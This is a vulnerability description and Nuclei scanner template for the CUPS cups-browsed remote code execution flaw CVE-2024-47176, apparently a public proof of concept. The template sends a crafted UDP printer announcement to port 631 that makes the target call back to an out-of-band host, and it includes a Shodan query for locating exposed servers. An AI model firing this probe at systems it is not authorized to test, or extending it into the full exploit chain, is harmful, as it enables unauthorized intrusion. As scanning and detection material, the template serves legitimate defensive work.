CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
PoC代码[已公开]
id: CVE-2024-47176
info:
name: CUPS - Remote Code Execution
author: princechaddha
severity: high
description: |
CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
impact: |
Successful exploitation could allow an attacker to execute arbitrary code on the target system.
remediation: |
Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
reference:
- https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
- https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
- https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
- https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
- https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 8.3
cve-id: CVE-2024-47176
cwe-id: CWE-1327
epss-score: 0.91969
epss-percentile: 0.99689
metadata:
verified: true
shodan-query: "product:cups"
tags: cve,cve2024,cups,udp,printer,oast,rce,vkev
javascript:
- pre-condition: |
isUDPPortOpen(Host,Port);
code: |
let packet = bytes.NewBuffer();
let printer_type = "00";
let printer_state = "03";
let printer_uri = `http://${oast}/printers/VulnPrinter`;
let printer_location = "Office HQ";
let printer_info = "Vulnerable Printer";
let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
packet.WriteString(message)
let c = require("nuclei/net");
let conn = c.Open('udp', `${Host}:${Port}`);
conn.SendHex(packet.Hex());
args:
Host: "{{Host}}"
Port: 631
oast: "{{interactsh-url}}"
matchers:
- type: word
part: interactsh_request
words:
- "natural-language"
- "VulnPrinter"
condition: and
extractors:
- type: regex
group: 1
part: interactsh_request
regex:
- 'User-Agent:\s?(.*)'
# digest: 4a0a00473045022007c918d09bb7549c7c2691decf2e40be8b825852d5dd1549d9d6d5ddc48e4d9d02210088c53b24a16c3a39aca22f3d52fa2f876f5aff80d91d791e86dee1fe6b7963d1:922c64590222798bb761d5b6d8e72950